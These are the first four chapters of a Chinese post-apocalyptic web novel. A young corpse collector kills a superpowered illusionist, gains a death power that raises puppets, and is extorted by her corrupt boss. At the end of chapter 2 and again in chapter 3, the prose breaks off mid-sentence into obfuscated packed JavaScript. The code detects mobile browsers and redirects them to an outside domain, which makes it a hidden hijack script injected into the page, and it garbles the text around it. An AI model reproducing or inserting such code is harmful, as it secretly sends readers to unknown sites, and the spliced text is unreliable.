《废土，从收尸人到死神》 1. 第 1 章 这是一间废土风格的营地，由生锈的金属和破旧的防雨棚搭建而成。 面试官叼着颗烟，隔着掉漆的办公桌审视着面前的女孩，“你要申请这份工作？” 年轻的女孩穿着洗的发白的无袖帽衫，显得穷困，但是态度却不窘迫—— “对。” “你为什么想做这个工作？” “我不想饿死。” “这个理由很充分。”面试官评价道。 他没有问其他问题，就好像是怕再多说两句就会把人赶跑，“如果你干不满一个月就要辞职，是没有工资的，你听懂了吗？” 白星点点头。 面试官递过来一张工卡，“拿着这个，它是你的了。以后，你就是负责收尸的杂工了。” 走出面试的房间后，白星隐隐听到后面有说话声。 “你觉得新来的小姑娘能干几天？” “哈哈哈，怕是不到一个星期就哭着找妈妈去了。” “闭嘴，好不容易来了个冤大头来做脏活累活，她跑了你们就高兴了？” 而白星径直离开，就好像没听见一样。 …… 两个星期后 阴暗的地穴里，白星正在做第十组第十个俯卧撑。 她穿着清凉，在做俯卧撑的同时，肌肉轻微地鼓起、流畅地伸展，优美的身形和漂亮的线条展露出来。 汗珠顺着她的脖颈滴落到水泥地面上。 做完最后一个俯卧撑，她摘下一块旧衣服做成的毛巾，胡乱擦了擦头脸，心不在焉地思索着。 两个星期了，她还没找到机会—— “滴滴滴滴”，手机响了。 这是卡特尔集团发给她的老式手机，而手机一响，就意味着，她的工作要来了。 “喂，我是白星。” “中央赌场有人死了，他没亲没故，无人收尸，你去处理一下。” 是上司何威。 白星面无表情，“可是我上次加班任务的工钱还没结。” “知道了知道了，”那边敷衍着，“回头给你补上。” 这工钱多半要不回来了。 白星在心里暗骂着克扣加班费的贪婪上司。 她放下手机，擦干汗水，用过滤水洗了脸，然后套上T恤，看向逼仄地穴里唯一一件亮眼的东西。 一辆多轮越野摩托。 也是她工作所需的载具，是她花光存款、又借了钱，才买的起的。 临出发前，白星没有忘记转动收音机，听取实时天气预报。 “……插播一条紧急新闻，矿厂西北部有C级异兽出现，政府已经派出天眷者队伍前往捕杀，请矿厂附近的居民尽快疏散……” 又有异兽出现了吗？最近，异兽出没的消息越来越多了。白星没有见过异兽，只听过传闻，传闻说它们强大、凶猛，还会吃人。 关于异兽的紧急新闻连连播放了三遍，然后才回归了正常的天气预报节目。 “……晴转多云，预计2-3小时后有D级酸雨，请居民注意躲避……” 外面现在还十分晴朗，白星跨上多轮摩托，向赌场方向飞驰。 她灵巧着躲避着破败建筑、倒塌的生锈的钢铁架子、随意堆砌的各种垃圾，在勉强可以被称之为“路”的羊肠小道上穿梭。 那些废墟是一百年前文明的产物，听说一百年前，这片土地上有数个繁荣的国家，而现在，它们只剩下了这些断壁残垣，和臭气熏天的垃圾。 而剩余的居民，大多数搬进了地下，如同穴居动物一般。 还有少部分幸运儿，得以生活在更舒适的环境当中。 白星住的地方比较偏远。而中央赌场，坐落这片土地的中心位置。 至于这片土地的名字？ ——垃圾区。 充斥着被人遗弃的、各式各样的垃圾，以及被人遗弃的、各式各样的人。 在抵达中央赌场附近的那一刻，白星再次感到了这栋建筑的突兀。 它是如此的高大，带有一种粗糙但壮观的美，与周边破败的一切格格不入。粗壮的大理石石柱几乎顶天立地。 作为废墟当中为数不多的地上建筑之一，中央赌场的外立面和主体添加了最新的防酸雨材料，如果不是这些材料，一场A级以上的酸雨，就足以腐蚀整个建筑，使建筑垮塌。 在赌场正门口，白星看见有什么人躺在地上，一动不动，大概就是上司何威所说的收拾目标了。 赌场的保安正在驱赶着几个好奇张望的幼童，有两三个人路过，不敢说一句话，只用眼神交流着。 白星上前，在躺着的人面前蹲下。 她探了一下那人的鼻息，意料之中的没有动静。 只见他裸露的胳膊和腿上都是狰狞的伤痕，胸口开了个大洞，停止跳动的心脏裸露着，伤口一直往外渗血。 保安瞧见白星，松了口气，“星姐，你可算来了。这家伙在这躺半天了，也没有家人来认领。” “嗯。”白星随手递给保安半截香烟。 保安喜滋滋地接过，“星姐也忒大方了。” 白星作为收尸人，时不时会在尸体上摸到一些鸡零狗碎，用来贿赂卡特尔集团的底层正合适。他们一吸烟，就高兴，而一高兴，嘴巴就会松很多。 “这人死的挺惨，是得罪谁了？”白星一边问着，一边戴上胶皮手套，拖着死者的尸体，将它放进黑色尸袋中。 保安：“他在赌场出老千，几次下来，总共骗了几十万块，被发现了，惊动了卡特尔集团的干部。” 白星知道中央赌场是卡特尔集团在运营的，事实上，大部分人都知道这件事。 “然后呢？” 保安：“拳哥听了这事，大怒，下令把这人活活打死。‘没有人能从卡特 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明白自己无法再获得更多信息，白星用绳索将尸袋固定在摩托车后的滑板上，清洁了地面的血迹，然后跨上多轮摩托，“走了，有缘再见。” 白星狠狠踩了油门，独轮越野摩托拖拽着后面装着尸体的小拖车，向前奔驰。 滚热的风从她身体两侧掠过。 她小心翼翼地绕过一个由于塌陷而形成的水坑，一路颠簸，最后终于到达了火葬场，这里很少有人来，后面就是一片坟地，只有猫头鹰、乌鸦和野猫等野生动物在夜里出没。 白星在火葬场工作刚满两星期。 火葬场主要为卡特尔集团服务，有时也接私活。 她的上司不常来，火葬场的日常工作主要由几个收尸人来做。 今天是白星值班，其他几个收尸人都不在，现在火葬场空无一人。 白星直接把小拖车停到焚尸间，打开昏黄的灯，解开固定尸袋的绳子，拉开袋子的拉链。 这时候，随身收音机响了。 “矿厂西北部的异兽已被政府派出的天眷者队伍所击杀，该地当前安全状态：低风险。” “预计一小时后，D级酸雨将会到来，降雨时长约五小时。请居民准备好避难。” 这是两条紧急播报，收音机的紧急播报会在主人没有操作的情况下忽然响起。 白星微微舒了一口气，矿厂西北部离她这里并不算非常远，如果异兽没死的话，有较小的概率波及到她。 至于酸雨……透过被生锈铁杆分隔的小窗，白星看了看天色，暮色昏沉，太阳即将落山，如果她不加快完成工作的速度，就要在天黑后赶回家，可能还会遇上一场D级酸雨。 白星打定主意要快点干活。 她低头，忽然之间脸色剧变！ 尸袋里的尸体，不见了！ 它去哪了？ 2. 第 2 章 在空无一人的火葬场，即使是乌鸦的叫声、风吹砂砾的声音，也会显得格外吓人，更何况是发生了这样令人恐惧的事件。 但是白星很冷静，她从来不信鬼神之说。 是有人一瞬间把尸体偷走了吗？还是说，尸袋里的人没死，自己跑了？ 白星迅速环顾四周，尸体不在屋里。 这是一个约二十平米的房间，房间尽头连接着焚烧炉，炉子高高的烟囱在屋外耸起。 屋里仅有一个高高的小窗，被结实地铁杆围挡着。 房间里堆满了助燃剂，窄小的铁栅栏门洞开着。 墙上贴着破烂的，“禁止火种”的标识。 就在这时，铁栅栏门砰的一声，被人从外面被关住。 笨重铁锁被锁上的咔哒声在一片寂静中非常明显。 隔着门上的铁栅栏，白星看到了此人的面目。 是死者。 ——他活了。 他身上有伤，但是伤的程度看起来比白星观察他的“尸体”的时候要轻很多，胸口的大洞不见了。胳膊和腿上的於痕也轻了很多。 他面无表情，神色冷凝，只有黑漆漆的眼睛亮的吓人。 白星脑子飞速运转，他是怎么活下来的？ 但是现在更重要的是，这人一定不想让别人知道自己没死，说不定正要杀人灭口。 她迅速说道：“我不会和任何人提起这件事，没人会知道你复活了。” 尸体哥凝视了她三秒钟，才露出一个笑容，“很遗憾，小姑娘，我认为，死人，才是保守秘密的最好方式。” 他手中不知何时出现了一个打火机，咔哒一声，暖橙色的火苗从打火机口窜了出来。 屋子里堆满了助燃剂，尸体哥正跃跃欲试。 白星凑近铁栅栏门，注视着尸体哥的眼睛，试图传达一点真诚，“卡特尔集团的人，他们差点杀了你，不是吗？你不想杀掉他们吗？我能为你提供帮助。” 尸体哥的表情非常惊讶，像是没想到白星会这么说。 “打开门，我可以协助你复仇。”白星循循善诱。 “非常有趣的提议。”尸体哥沉思后说道：“但是只要我打开门，你就会跑得无影无踪，然后告诉卡特尔集团我活着的消息，不是吗？” 白星呼吸一滞，这人还挺多疑。 白星来不及说下一句话，尸体哥就已经抬手，将燃烧着的打火机抛出。 打火机在空中顺着抛物线运动—— 白星跃起！去拦截打火机，无论如何也不能让打火机落地，地上都是助燃剂。 她的手即将抓住打火机！ ——等等，发生了什么？ 她眼睁睁地看着打火机穿过了她的手。 一瞬间，她以为自己眼花了，打火机怎么可能不碰到她的手而径直穿过她的手掌？ 随即，她脑海里响起了保安说过的话—— 他是天眷者。 天眷者拥有异于常人的能力，而这些能力被称为天术。 这就是尸体哥天术的体现吗？ “叮”的一声，是打火机落下的声音。 打火机刚好落在包裹助燃剂的胶皮桶上，火焰一下子窜起，黑色的浓烟散发出来。 仅一两秒的时间，屋子里燃起了熊熊火焰，滚烫的火舌舔着空气，气浪一阵阵袭来，灼热无比。 白星摘下墙上的保质期不知过了多少年的破旧灭火器，拉开栓子，猛猛喷着。 而栅栏门外，是尸体哥礼貌、优雅、做作的致歉声：“我对你的死亡深表遗憾。” 白星根本没工夫搭理尸体哥，她被黑烟呛得咳嗽。 手里的灭火器只喷了两下，里面的灭火剂就消耗完了，再也喷不出东西来了。 这黑心的卡特尔集团！灭火器这么重要的东西都不配点耐用的。 空气是灼热的，在这狭小的空间里，白星呼出来的热气又被自己吸进去。 她能感觉到，每一秒，温度都在上升。 氧气含量大大降低，白星呼吸急促，因缺氧而感到头晕。 白星双手握成拳，指甲深深地嵌入掌心。 怎么办？ 这时候，她的目光陡然停留在了焚尸炉上。 一个计划在她脑海中成型。 白星钻进了焚尸炉。 焚尸炉的烟囱，是通往屋外的！ 在一片黑暗中，伴随着空气的灼热、氧气的稀缺和烟尘的袭扰，她顺着烟囱内壁爬了足足两米高，然后打开了烟囱口防酸雨的盖子。 此时太阳已经落山，但是落日余晖仍在，远方的景色变得晦暗不明。 白星不敢大声喘气，生怕惊动尸体哥。 她探出头去，她可以看到，尸体哥正站在焚尸间门口，被浓烟遮挡了视线。 只要尸体哥扭头往高处看，就能看到白星蹲在烟囱口上，如同一个伺机而动的刺客。 白星小心翼翼地顺着烟囱的背面滑了下去，轻巧地落在地面上。 她的手指落在通讯器上。 她和别人没有过命的交情，没有人会来帮她。 酸雨即将来临，没有人会冒着酸雨来追杀尸体哥。 但是无论如何，她都得把信息发出去，借用卡特尔集团的力量打击尸体哥。 现在的首要目标是逃跑和报信！ 然而，她忽然间听到了最不想听到的声音。 脚步声，和鼓掌声，以及夸张、故作惊愕的感叹—— “精彩的表演，我真没想到，你能活下来。” 她竟被尸体哥发现了！ 白星扭头，看到了她最不愿意见到的景象—— 就在她身后几步之遥，尸体哥微笑着，眼睛中却饱含恶意，“美丽的小观众，我无意冒犯。但是这次，我要亲手解决你了。” 他优雅地行了一个礼，如同在表演舞台剧，“在你死之前，我希望你记住我的名字，我是[魔术师]。” 白星的心已经沉到了底。 她的大脑飞速运转着，[魔术师]，这个名字，和他的作为天眷者的能力，也就是天术有关吗？ 正面和一个天眷者对抗，她的胜算无限接近于零。 不。 她的胜算并不完全是零，如果能够知道他的天术，她也就能够针对天术做出策略。 “你的天术是变魔术？” 魔术师神秘地勾起嘴角，“那只是其中一种应用方式。” 话音刚落，魔术师脚下一踏，就扑到了白星面前，右手捏成拳，拳头带着烈风攻了过来。 他的拳头又快又重，比那些打黑拳的选手也不遑多让。 但白星那么多锻炼也不是白做的，在拳头即将接触她的腹部的那一刹那，她脚掌向斜后方撤去，侧身堪堪躲过了攻击—— 可是与此同时，她的鼻子爆发了一阵剧痛，一管温热的鼻血喷溅出来。 白星整个人倒飞出去，飞进墓园，像推倒多米诺骨牌一样撞倒了一排木制墓碑。 背部传来刺痛感，但是白星大脑的运转却没有停滞。 不对！ 不对劲！ 她的眼睛留意着魔术师的每一个动作。 魔术师没有攻击她的头部！他的拳头明明是打向她的腹部的！ 即使在鼻子遭受攻击的那一刻，她也不曾看到有东西打在她的脸上。 她再定睛一看，魔术师的拳头上有了血痕。 那是她的血。 所以，魔术师的拳头，切切实实地和她的鼻子有了正面接触，但是她却完全没有看到！ 魔术师似乎是想掏出什么东西来擦血，但是他浑身上下没有别的东西，只有背心裤衩。 赌场的人早就把他身上有价值的东西扒走了。 “啧啧，被观众看到这样狼狈、不优雅的样子，是魔术师的失职，不过好在你马上就要死了，没人会知道。”魔术师厌恶地甩着手中的血，一边几步跨到白星跟前，这次，他再次举起了右拳，攻向白星的脑袋！ 白星早就站起来了，顾不上擦鼻血，她瞪大眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15748443|174209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睛，想要观察到每一个细节。 魔术师伸出了右拳，目标看似是自己的脑袋，可是事实上目标可以是任何地方。 在没有把握的时候，只能护住重要部位！ 在她举起拳头来，像拳击运动员一样护住头脸的时候，她的腹部受到了重创！ 白星感觉腹部一麻，紧接着就是剧痛。 但是这次，有了不一样的地方。 白星迅捷的右手抓住了那只攻击过她腹部的看不见的拳头，但是很快，对方就挣脱了。 “你的敏捷真是令我印象深刻。”魔术师边打边说着：“普通人看到我的表演，只会激动到眼含热泪。” “……” 她讨厌眼前这个人浮夸而虚伪的说辞。 “你真是恶心。” “你真一个伶牙俐齿的小观众。”魔术师不怒反笑，像是胜券在握。 他似乎有无穷无尽的体力，他那看不见的手发起无数次攻击，而表面上的拳头却一只在误导着白星。 “本来，我可以用更多小玩具招待你的，可是他们收走了我所有的道具……看来，我们之间只能开展力量的对决。” “是力量？还是幻象？”白星正面回应道。 魔术师的动作微微一滞。 白星立刻知道自己猜对了。 她看出来了，魔术师看似攻向她的一个部位，却用幻象伪装成攻击另一个部位。 就像刚才她看到打火机穿过了自己的手，其实穿过手的只是幻象，而真正的打火机的行动轨迹则被幻象掩盖。 也正是因为有这种能力，魔术师伪装的假死才骗过了赌场和卡特尔集团的人。 一切都说得通了。 “我可爱的小观众，就算猜到了，你又能怎样呢？”魔术师自信的笑着，“你只是个没有天术的小可怜，如何躲得过我的攻击？” 白星且战且退，最终退到了墓地的角落，白星记得那里有一根铁质烧火棍，她找到机会捡了起来。 魔术师大笑，“我亲爱的小观众啊，你以为，那根小破棍子就能伤到伟大的魔术师吗？” 白星向左微倾身体，故意吃了魔术师一拳，魔术师脸上露出了势在必得的笑容。 只见他欺身而上，“亲爱的小玩具，我玩够了，下一击，就取你的性命。” 下一秒，魔术师的笑容凝固在脸上。 ——烧火棍从魔术师的心脏处贯穿而过，将他刺了个透心凉。 “你的拳头是幻象，可是你眼睛看向的方向却暴露了你想要攻击哪里。只要稍加分析，就能看出你的战斗策略。只要稍加引诱，你就会暴露破绽。” “我看似一直被打得后退，实际上却是为了引导着你来到墓园的角落，一个我能获得武器的地方，而你却没有发现我的意图。” “在我确定，你的天术是[幻象]，而没有其他底牌的时候，你就已经是死人了。” “归根结底，你是一个不称职的魔术师。” “真遗憾，当我说我们可以合作的时候，我是认真的。” 白星将烧火棍从魔术师的躯体里拔出来，生锈的烧火棍摩擦着血肉，发出了钝刀子切肉般的声音。 鲜血汩汩流淌，魔术师的躯体倒了下去，胸口这次真的破了个大洞，眼睛瞪的大大的，像是对自己的死亡感到意外。 为了确保这次他不是装死，白星又补了几刀。 白星注视着魔术师没有闭合的眼睛，心中微动。 她杀了人。 不，她杀了一个敌人。 这是一个你死我活的局面。她活下来，就需要有人死。 但她还是半跪下来，半跪在被酸雨侵蚀的贫瘠土壤上，然后伸出手给魔术师合上了眼睛。 就在此时，一道声音在白星脑海中响起—— 【死亡权柄激活中，激活度：1%】 【获得死亡权柄的初始技能：[初级傀儡控制]】 【杀死敌人后，你可以将其转化为你的傀儡。傀儡将保有生前的天术。】 3. 第 3 章 那声音是什么？ 它表达的是什么意思？ 它是敌人吗？ 但是在声音宣布她获得死亡权柄及其初始技能后，白星的确感受到一股力量流向四肢百骸，让她精神百倍、活力四射，和魔术师激战造成的疲惫一扫而空。 而伴随着脑海里奇怪的声音结束，白星面前的空气突然发生了扭曲——古怪、诡谲而跳脱的黑色阴影凭空出现，扭动着，聚拢着，最后逐渐凝聚幻化成了一柄巨大的镰刀，整个镰刀上都缠绕着不祥的黑色阴影。 冥冥之中，白星感受到了自己和镰刀之间的深层次链接。 她深吸一口气，握住镰刀的刀身。那一瞬间，她感受到的不像是拿到了一件工具，而是更像找回了自己身体的一部分。她挥舞镰刀，镰刀被舞得虎虎生风。这东西与她如此契合。 【获得死亡权柄的具象化：[死亡之镰]。】 “你到底是谁？” 无论说什么，对方都没有回应。白星推断它更像是一个人工智能或者机器人。 而对方说她获得了【傀儡化】的技能，可以将死去的敌人变成傀儡。 这不高低得试试。她的目光落到了死亡的[魔术师]身上。 具体要怎么做呢？声音没有给出任何指引，白星试着在[魔术师]头顶挥舞了一下镰刀。 扭曲的阴影从[魔术师]身上抽离和浮现了出来，形成了一个完全由黑色阴影构成的人型，从轮廓中，依稀可以看出他带着高礼帽，身披斗篷，领子处有领结，完全无法辨认其五官，只有在应该是眼睛的部位处，由两个阴影构成的漩涡。 【获得傀儡：[纯黑魔术师]，评价：E级，该傀儡拥有E级天术：幻象。】 [纯黑魔术师]摘下了帽子，向白星深深鞠躬。 “我刚杀了你，你却向我鞠躬？” [纯黑魔术师]没有任何反应，依旧维持着臣服的姿势。 “搬起你脚下的石头。” [纯黑魔术师]依言照做。 经过简单实验，白星发现[纯黑魔术师]不会说话，没有自我，只会服从于直接的命令，就像一只任人操控的傀儡。 原来这就是【傀儡化】。 她甚至可以通过在心里给出命令，从而让[纯黑魔术师]执行。 那么问题来了，她要带着这东西和镰刀回家吗？ 这个想法一出现，[纯黑魔术师]就化作一缕黑影，消失了，她的镰刀也是如此。 当她在心中想着召唤镰刀，镰刀就出现了。当她想着召唤[纯黑魔术师]，他就会出现。 “非常方便。”白星评价道。 她还想多试验一下自己新获得的能力，但是酸雨要来了，如果她不想被酸雨活活腐蚀而死，就必须马上离开。 白星将魔术师的尸体丢进燃烧的火场，然后跨上多轮摩托。 她油门直踩到底，一路猛冲，掠过无数高低起伏的垃圾堆。 快点，再快点！ 过了一个大水坑之后，她知道家不远了。 ——忽然间，白星手臂上忽然一湿，然后针扎般的刺痛感传来。 白星看去，她胳膊上出现了一个硬币大的红痕。 酸雨来了。 来得比天气预报上预测的早了一会儿。 好在刚开始下的零星几个雨点，腐蚀性还不算太强。但是随着时间的增加，雨点的腐蚀性会越来越强。很快，下雨就会像下硫酸一样。 白星忍着疼痛一路飞驰，终于看到了家的影子。 那是一个人工挖出的地穴，除了通风管道露出地面，剩下的部分都藏在地下。地面有一个入口。 白星踩着刹车，从斜坡滑入敞开的入口。 里面漆黑一片，一个老婆婆似乎在漆黑中等待了很久了。 她满头华发，身形佝偻，脸上布满沟壑，但是眼睛却很清明。 垃圾区的人都尊称她为林医生，林医生种植草药，经营医馆，给人看病。 白星已经被林医生收留三年了，在她的医馆里打杂，也在同一个地方吃住。 林医生打开灯，“今天怎么这么晚？你去哪了？” “加班。”白星一边从摩托上下来，一边说着，“你没必要一直等着我回来，老林。” 外头的酸雨渐渐大了起来，噼里啪啦拍打着防酸雨门，发出噼里啪啦的声响。 林医生絮絮叨叨地说：“你瞧瞧，你听听，再晚半分钟回来，酸雨就把你融化了！还有，万一遇到异兽怎么办，它们常常在夜里出现……” 白星知道林医生本质是在关心她，“我这不是好好的嘛？” 她刻意遮掩着身上的淤青和血痕，结果林医生眼尖，一下子就看到了，然后开始大惊小怪起来： “给我看看，还有其他地方受伤吗？怎么搞得？” 白星：“……和人打了一架。” 林医生：“打赢了吗？” “当然赢了。” “小心对方报复。” 白星没说对方已经噶了，“不必担心，我心里有数。” 林医生拿来药酒和棉签，给白星受伤的地方涂药，然后用绷带缠上。 白星看着被包裹严实的伤口，无奈道：“皮外伤而已，至于吗？” 林医生严肃道：“小伤也不能忽视，我见过一个患者，没有注意消毒，结果伤口感染了，人没了，还有一个患者……” 白星听她要念经，顿时头大起来，“好了好了我知道了。” 林医生：“哼。” 林医生处理好了伤口，转身从破败的架子上拿了一个方形物体，“咔哒”一声撬开。 随即，前所未有的香味爆发开来。这香味如此浓郁，如此丰富，是营养剂的工业香精味道所比拟不了的。 白星吞了一下口水，借着地穴里昏暗的灯光，她看清了香味的来源。 一个罐头。林医生刚刚打开了一个罐头。 罐头里的内容被林医生一勺一勺舀进一个瓷白的盘子里，精心地摆出造型。 白星吸着鼻子靠近桌子，“是豌豆罐头！” 随即疑惑起来，“但是这个不是很贵吗？而且只有黑市才能买到。” 林医生：“你忘了今天是什么日子了？” 白星不解，“……啊？” 林医生：“你的18岁生日。” “生日……”白星的脑子灵光一闪，好像，她确实快十八岁了，算算日子，还真是今天。 林医生：“这是个大日子，值得庆祝。” 白星露出些许感动的神色，她自己都没记住生日，林医生却帮她记着。她连忙走上前去，帮忙布置餐桌、碗筷、椅子。 待两人在破旧的木桌前坐定，白星的口水已经分泌了好几轮了。 她已经太久没有吃到真正的食物了，上次，还是在几个星期前，她用弹弓击落了一只骨瘦如柴的麻雀，在火上烤熟了，连骨头都嚼碎了咽了下去。 木勺插入豆子当中，舀了满满一勺，当味蕾触及到这香浓的豆子的时候，幸福地快要爆炸了。又香，又咸，又鲜。饱满的豆子咬下去，是爆开的鲜甜的汁水。 白星眼睛一亮，“好吃！” 林医生脸上的笑容根本抑制不住，“我就猜你会喜欢。” 白星又舀了第二勺，第三勺…… 两人不仅吃完了豆子，连盘子里、罐头里的汤汁都用过滤水冲着喝了。 吃饱了，身体暖洋洋的，白星感到身体前所未有的满足，胃部长久的灼烧感消失了，“啧，要是天天有豆子罐头吃就好了。” 林医生笑出了声，“想得挺美。” “天天吃劣质营养剂的日子，我受够了。”白星摸着暖洋洋的胃部，忍不住吐槽着。 “你可真是身在福中不知福，有的吃就不错了，前几年矿区还饿死过人嘞，你知不知道我年轻的时候，境况更差……” 白星连忙打断施法：“啊对对对。” 林医生白她一眼，“起来上课了，今天教你药理知识。” 林医生一直在教她医学知识。可惜白星自认为不是学习的料——明明也好好听了，但知识就是不进脑子，上周学的知识，这周就忘光了。好在林医生极具耐心，从来不嫌她学得慢。 但是这几天，林医生像是忽然打了肾上腺素一样激情授课，一股脑儿地向她灌输了很多知识，比起之前的缓慢教学、寓教于乐、循序渐进，这几天的林医生简直可以说是倾囊相授，不光是草药学知识， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15748444|174209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连怎么经营医馆、怎么使用医疗设备、缴纳税额、交保护费、处理医患关系等等也囊括在内。 白星敏锐地感知到了什么，但又不太确定，“有什么事情发生了吗？” 林医生神色如常，“没什么。你的基础已经打得挺好的了，现在该给你上进阶课程了。打起精神来！” “……对了，白星，你想过以后的生活吗？接手我的医馆怎么样？” “这不是一项轻松的活计，但是比收尸工安全，也稳定，还受人尊敬。虽然你现在还不是很娴熟，但是你有潜力。经过练习，不断积累经验，不出几年，你就能成为优秀的医生。” 白星没有回答这个问题，而是产生了更大的疑虑，“为什么忽然说这个，忽然说起……接手医馆的事情？” 林医生叹了一口气，“当收尸工很危险。” “我还能应付的来。”白星故作轻松地说道：“别想那么多了，你离退休还早着呢，到时候再说也来的及。” 林医生面色复杂，“和卡特尔集团搅在一起非常危险。” 白星扬起眉毛，“你也给卡特尔集团的人治病。” 林医生：“这怎么能一样？” 白星耸耸肩，“在我看来也差不多。” 林医生犹豫了一会儿，“你以为我不知道你想做什么吗？白星。” “你真正想做的事情，比当收尸工危险一千倍一万倍。” “你是在送死。” 她眼中的担忧不是假的。 白星从未和林医生透露过自己的计划，但是仔细想想，林医生和她朝夕相处了三年，又知道她的底细，怎么可能猜不出来？ 白星开玩笑道，“举报我吧。听说只要举报一个反对派，卡特尔集团就给5000块奖励。钱拿回来给我分一半。” 林医生又想笑又生气，“都什么时候了还说这种话。你这丫头怎么这么犟呢？为什么非得执着于和卡特尔集团干仗呢？活着不好吗？” 就像是触发了什么开关，白星的脑中闪现了各种画面。 那是三年前的记忆，但是还像新的记忆一样清晰。 脏污地血迹、破碎的尸体、凶猛的留着哈喇子的猎狗、卡特尔集团的追兵…… 白星没有直接回答林医生，而是有感而发： “我被卡特尔集团追杀的时候，要不是你把重伤的我带回来医治，又隐藏了我的踪迹，恐怕我早就惨死街头了。更不必提接下来的三年，你给我吃的，给我住处，允许我在这里养伤。” 白星掀起衣衫下摆，露出了腹部那里的一道枪伤疤痕，当时，卡特尔集团的子弹从后背打入，从腹部穿出，造成了近乎致命的后果。林医生把她从鬼门关拉了回来。 “老林，你的恩情，我还不清了。” “我从来没想着让你还。”林医生说：“起初，只是因为你和我刚过世的徒弟有点相像，我动了怜悯之心；后来，我觉得你这孩子品性不错，也勤勉，在医馆干点杂活也能替我分担负担；再后来，我在你身上看到了年轻的自己，像野草的种子一样，被吹到哪就在哪落地生根，如果我有孩子，她一定像你一样顽强。” 林医生挽住白星的双手，眼神真挚，“白星，别这么狠心，让我……白发人送黑发人。” 白星眼神复杂，眼眶微微湿润。 林医生是她的亲人。虽无血缘关系，但这纽带却比血缘关系更紧密。 白星低下头，看着她和林医生交握的双手，看着林医生如同核桃皮一样褶皱的年迈肌肤。 “老林……” 接下来的话却说不出口。 保证自己会活下来？ 即使有系统的存在，白星也不能百分之百保证自己不会死亡。 说自己打算放弃整个计划？ 放弃是不可能的。连动一动放弃的念头，都是对自己的觉悟的亵渎。 白星的心口传来一阵刺痛。 最后只说了一句：“老林，对不住了。” 林医生叹了一口气，知道白星的决定已经无法被扭转。 林医生：“你真是倔得像头牛。” 沉默了片刻，白星说：“我会搬走，减少和你的联络，这样就算出了什么事，他们也很难查到你头上。” 4. 第 4 章 第二天，火葬场废墟旁。 白星的上司何威绕着火葬场的废墟走了两圈，时不时停下来拨动焦黑的瓦砾。 他眉头紧皱，“你再说一遍，怎么回事来着？” 白星摆出自己早晨对着镜子练习了很久的无辜脸，“我昨天回家的时候，火葬场还好好的，今天来上班，发现这里已经被烧毁了。” 昨天解决掉魔术师之后，白星考虑过一秒钟，要不要上报真相，但是最终决定装傻。 因为她不想让卡特尔集团知道，自己有击杀一名天眷者的能力。 魔术师被火焚烧后剩余的一点焦炭般的尸体，已经被白星搬到了一个旧墓穴当中埋了起来，将永远不见天日。打斗痕迹和其他线索也早被她一一清除。 何威沉思了一会之后开口问道：“重建火葬场……你觉得需要多少钱？” 白星：“……五万块？” 何威：“如果是几个月前，单单考虑雇佣人手、购买建材，五万块也许够用。但是考虑到现在正是矿区人手紧缺的季节，恐怕要双倍预算才能重建火葬场。” 他装模作样地叹了一口气，“你知道这对你意味着什么吗？” 白星做出不解的样子。 下一秒，何威放出了一个重磅炸弹—— “白星，你觉得，卡特尔集团会怎么对付让他们损失了十万块的你呢？” 白星心里冷笑，果然，何威是要甩一口大锅给她。 “组长，你们雇我收尸，却没雇我守着火葬场。别的收尸工怎么工作，我也怎么工作，从来没有偷懒过。着火是天意，是天灾。怎么能怪到我头上呢？” 何威冷哼一声，“这些话你拿去给卡特尔集团的收债队狡辩吧。你觉得他们会听这些吗？” 白星：“我会告诉他们‘真相’。” 何威笑了，“集团才不会在意真相是什么，他们只在意有人给他们造成了重大损失。” 白星：“……而你决定让我当这个替罪羊？” 何威没有回答，而是轻蔑地摇摇头：“白星，让我猜猜，你出生在垃圾区的阴沟里，从小活得像老鼠一样，和拾荒者抢吃的，和街头小子打架，以为自己洞悉了一切黑暗。” “但其实，你年轻又无知，对真正的‘恶’一无所知。你真的见过这个世界的阴暗面吗？” “很多给卡特尔集团造成了损失的人，被送到了真正邪恶的地方。” “猜猜看，你能在那种环境中活多少天呢？你个人条件挺不错的，年轻漂亮、个子又高。在那里，大部分人都会喜欢你这样的。等他们玩够了，你的每一分价值都会被榨干。” 他抬起手，手指指向白星的心口，“你的心脏，能卖1000块。” 手指指向腰部，“肾脏，1500块。” 何威每指向一个部位，就说出一个部位在黑市上的价格。 他把白星身上的部位报了个遍，最后说：“统共加起来，远远不够十万块，但也能够弥补一些损失了。” 但是何威不知道的是，这番恐吓并没有起到多少效果。 白星认为，如果何威真想要甩锅，大可直接通知收债队来抓她，而不是在这放狠话。他可能有其他的图谋。 ——你想要的是什么呢，何威？ 揣测着何威的动机，白星假装被吓住了，实则试探着道：“我不想被送到那种地方。组长……麻烦你，给我指条活路吧。” 何威见猎物入套，心中一喜，他说： “我可以提交一份报告，上面写着：‘由于临时工白星的疏忽大意，火葬场被焚毁，建议追究其责任’； 也可以提交另一种报告，上面写着‘由于天气炎热干燥，火葬场发生自燃，临时工白星勇敢救火，抢救出了部分宝贵财产’。 而给总部递交哪种报告，全在我一念之间。” 白星漆黑的眼睛注视着何威，“那么我要付出点什么，才能让组长您写下第二种报告呢？” 何威图穷匕见，笑得像黄鼠狼一样，“我要你工资的一半。怎么样？一半收入，就能买自己的命，是不是很划算？” 白星：“……” 好黑的心肝！！ 她做出一副迟疑的样子，“要不我们三七分吧，你三我七，毕竟这工作，除了我，也很难招到别人了。” 